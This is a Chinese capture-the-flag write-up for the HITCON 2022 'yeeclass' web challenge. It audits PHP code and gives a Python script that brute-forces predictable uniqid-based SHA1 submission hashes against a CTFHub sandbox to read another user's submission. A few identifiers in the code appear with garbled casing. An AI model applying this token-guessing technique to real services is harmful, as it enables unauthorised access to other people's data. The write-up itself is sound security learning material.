2022-HitCon-Web-yeeclass WP

复现平台CTFHUB
靶机为一个完整类论坛网页，题目给了服务端完整代码

代码审计

/src/submit.PHP Line56-63:

可以看到提交数据存入的时候将$_SESSioN["username"]."_"作为前缀，生成了一个uniqid。uniqid的生成方式即{sec:08x}{usec:05x}

/src/submission.php Line5-15:

在该查询界面中首选了hash参数作为查询方式，
意味着如果获得存入数据库的时间和username即可模拟出hash从而读取flag

/src/submission.php Line16-44:

允许了通过homeworkid查询入库时间和username

解题

在没有登录没有session访问challenge-xxxx.sandbox.ctfhub.com:10800/submission.php?homeworkid=1得到提交时间和username

而入库时间和uniqid由于运行效率，会存在微秒时间差，因而需要爆破该时间差

exp

import requestsimport hashlibfrom datetime import datetime, timezoneusername = "flagholder"timestamp = '2022-12-26 20:59:48.231534'dt = datetime.fromisofORMat(timestamp)#.replace(tzinfo=timezone.utc)sec = int(dt.timestamp())usec = dt.microsecondprint(sec, usec)url = 'Http://challenge-xxxx.sandbox.ctfhub.com:10800/submission.php?hash='def get_hash(sec, usec):    user_id = f"{username}_{sec:08x}{usec:05x}"    return hashlib.sha1(user_id.encode()).hexdigest()for i in range(0, 1000):    hash = get_hash(sec, usec - i)    r = requests.get(url + hash)    print(i, hash)    if r.text != "Submission not found.":        print("Found hash:", hash)        print(r.text)        break

运行结果：

来源地址：https://blog.csdn.net/qq_66748496/article/details/128454462